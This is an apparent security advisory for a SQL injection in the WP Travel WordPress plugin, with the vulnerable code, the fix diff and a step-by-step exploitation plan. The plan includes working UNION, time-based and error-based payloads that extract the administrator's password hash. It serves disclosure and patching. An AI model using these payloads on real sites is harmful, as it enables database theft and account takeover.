WP Travel – Ultimate Travel Booking System, Tour Management Engine <= 11.4.0 - Authenticated (Contributor+) SQL Injection
Description
The WP Travel – Ultimate Travel Booking System, Tour Management Engine plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 11.4.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v11.5.0
Source Code
WordPress.org SVN# Detailed Exploitation Research Plan - CVE-2026-45218 ## 1. Vulnerability Summary **CVE-2026-45218** is a SQL Injection vulnerability in the **WP Travel** plugin (versions <= 11.4.0) affecting the `update_trip` AJAX functionality. The flaw exists in the `WpTravel_Helpers_Trip_Dates::add_individual…
Show full research plan
Detailed Exploitation Research Plan - CVE-2026-45218
1. Vulnerability Summary
CVE-2026-45218 is a SQL Injection vulnerability in the WP Travel plugin (versions <= 11.4.0) affecting the update_trip AJAX functionality. The flaw exists in the WpTravel_Helpers_Trip_Dates::add_individual_date function, where the pricing_ids parameter from user input is interpolated directly into a SQL IN() clause without sufficient escaping or the use of placeholders in wpdb->prepare(). This allows an authenticated attacker (Contributor level and above) to execute arbitrary SQL queries to extract sensitive data from the database.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
wp_travel_update_trip - Vulnerable Parameter:
pricing_ids(within thedatesarray of the JSON payload) - Authentication: Authenticated, Contributor level or higher. The attacker must have permission to edit a specific "itinerary" (trip) post.
- Preconditions:
- A trip (post type
itineraries) must exist and be editable by the attacker. - A valid
wp_travel_noncemust be obtained.
- A trip (post type
3. Code Flow
- Entry Point: The AJAX action
wp_ajax_wp_travel_update_triptriggersWP_Travel_Ajax_Trips::update_trip()incore/ajax/trips.php. - Permission Check: It calls
self::get_trip_permission_check(), which verifies thewp_travel_nonceand checks if the user hasedit_postcapabilities for the giventrip_id. - Data Handling: The function reads the JSON payload from
php://input, decodes it, and passes it toWP_Travel_Helpers_Trips::update_trip($trip_id, $new_post_data). - Helper Logic:
WP_Travel_Helpers_Trips::update_tripcallsWpTravel_Helpers_Trip_Dates::update_dates($trip_id, $dates)(located incore/helpers/trip-dates.php). - Vulnerable Sink:
update_datesiterates through the provided dates and callsadd_individual_date($trip_id, $date). - SQL Injection Point: In
core/helpers/trip-dates.php, the following code executes:
The$pricing_ids = ! empty( $date['pricing_ids'] ) ? $date['pricing_ids'] : ''; if ( $pricing_ids ) { // VULNERABLE LINE $result = $wpdb->get_row( $wpdb->prepare( "SELECT GROUP_CONCAT( id ORDER BY sort_order ASC ) AS pricing_ids FROM {$wpdb->prefix}wt_pricings WHERE trip_id=%d AND id IN( $pricing_ids )", $trip_id ) ); $pricing_ids = $result->pricing_ids; }$pricing_idsvariable is directly concatenated into the SQL string. The$wpdb->prepareonly parameterizes the$trip_id.
4. Nonce Acquisition Strategy
To obtain the wp_travel_nonce for an authenticated user:
- Log in as a Contributor.
- Create or navigate to the edit page of an itinerary:
/wp-admin/post.php?post=ID&action=edit(where ID is a trip ID owned by the contributor). - Use
browser_navigateto load the editor page. - Use
browser_evalto extract the nonce from the localized JavaScript object. - Localization Key:
wp_travel_obj.nonce(inferred from plugin standard; verify withwindow.wp_travel_objin console).
5. Exploitation Strategy
The goal is to use a UNION SELECT payload to extract the administrator's password hash and save it into the wt_dates table, then retrieve it via a subsequent get_trip call.
Step 1: SQL Injection Attack
HTTP Request:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php?action=wp_travel_update_trip&trip_id=[TRIP_ID]&_nonce=[NONCE] - Method:
POST - Headers:
Content-Type: application/json - Payload:
Note: The payload closes the{ "dates": [ { "title": "Exploit Date", "start_date": "2026-01-01", "pricing_ids": "0) UNION SELECT user_pass FROM wp_users WHERE ID=1 #" } ] }IN(parenthesis, performs aUNION SELECTto fetch the admin hash, and comments out the rest.
Step 2: Data Extraction
HTTP Request:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php?action=wp_travel_get_trip&trip_id=[TRIP_ID]&_nonce=[NONCE] - Method:
GET - Expected Response: A JSON object where the
datesarray contains an entry withpricing_idsset to the admin's password hash.
6. Test Data Setup
- Create User: Create a user with the
contributorrole. - Create Itinerary: Use WP-CLI to create a trip post owned by the contributor.
wp post create --post_type=itineraries --post_title="Test Trip" --post_author=[CONTRIBUTOR_ID] --post_status=publish - Obtain Trip ID: Record the ID of the created post.
7. Expected Results
- The
update_triprequest should return a success code (WP_TRAVEL_UPDATE_TRIP_PRICINGSor similar). - The
get_triprequest should return the itinerary data. - The
datesfield in theget_tripresponse will contain the result of the SQL subquery (the admin hash) in thepricing_idsfield.
8. Verification Steps
- Database Check: Verify the contents of the
wt_datestable using WP-CLI.wp db query "SELECT pricing_ids FROM wp_wt_dates WHERE trip_id=[TRIP_ID]" - Hash Comparison: Compare the returned value with the actual admin hash:
wp db query "SELECT user_pass FROM wp_users WHERE ID=1"
9. Alternative Approaches
- Time-Based Blind SQLi: If the
UNIONapproach is restricted byGROUP_CONCATbehavior, use a sleep-based payload:pricing_ids=1) AND (SELECT 1 FROM (SELECT(SLEEP(10)))a) AND (1 IN (1 - Error-Based SQLi: If
WP_DEBUGis enabled, useupdatexml()orextractvalue():pricing_ids=1) AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1) AND (1 IN (1
Summary
The WP Travel plugin for WordPress is vulnerable to authenticated SQL Injection via the 'pricing_ids' parameter in the 'wp_travel_update_trip' AJAX action. This vulnerability exists because the plugin directly concatenates user-supplied data into a SQL query's IN() clause without proper sanitization or parameterization, allowing a contributor-level attacker to extract sensitive data from the database.
Vulnerable Code
// core/helpers/trip-dates.php:174 $date_id = ! empty( $date['id'] ) ? $date['id'] : ''; $pricing_ids = ! empty( $date['pricing_ids'] ) ? $date['pricing_ids'] : ''; if ( $pricing_ids ) { // Need to sort pricing id in dates table to display pricing as per sorted. $result = $wpdb->get_row( $wpdb->prepare( "SELECT GROUP_CONCAT( id ORDER BY sort_order ASC ) AS pricing_ids FROM {$wpdb->prefix}wt_pricings WHERE trip_id=%d AND id IN( $pricing_ids )", $trip_id ) ); // @phpcs:ignore $pricing_ids = $result->pricing_ids; }
Security Fix
@@ -174,7 +174,10 @@ $pricing_ids = ! empty( $date['pricing_ids'] ) ? $date['pricing_ids'] : ''; if ( $pricing_ids ) { // Need to sort pricing id in dates table to display pricing as per sorted. - $result = $wpdb->get_row( $wpdb->prepare( "SELECT GROUP_CONCAT( id ORDER BY sort_order ASC ) AS pricing_ids FROM {$wpdb->prefix}wt_pricings WHERE trip_id=%d AND id IN( $pricing_ids )", $trip_id ) ); // @phpcs:ignore + $pricing_ids_arr = array_map( 'absint', explode( ',', $pricing_ids ) ); + $placeholders = implode( ',', array_fill( 0, count( $pricing_ids_arr ), '%d' ) ); + $query = $wpdb->prepare( "SELECT GROUP_CONCAT( id ORDER BY sort_order ASC ) AS pricing_ids FROM {$wpdb->prefix}wt_pricings WHERE trip_id=%d AND id IN( $placeholders )", array_merge( array( $trip_id ), $pricing_ids_arr ) ); + $result = $wpdb->get_row( $query ); // @phpcs:ignore $pricing_ids = $result->pricing_ids; }
Exploit Outline
The attacker first authenticates as a Contributor and obtains a valid 'wp_travel_nonce' and a trip ID they have permission to edit. They then send a POST request to 'wp-admin/admin-ajax.php' with the action 'wp_travel_update_trip'. The payload is a JSON object containing a 'dates' array where the 'pricing_ids' field is populated with a SQL injection payload (e.g., '0) UNION SELECT user_pass FROM wp_users WHERE ID=1 -- '). Because the 'pricing_ids' value is directly concatenated into a GROUP_CONCAT query, the subquery result is stored in the 'wt_dates' table. Finally, the attacker retrieves the extracted data (such as the admin password hash) by calling the 'wp_travel_get_trip' AJAX action for the modified trip.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.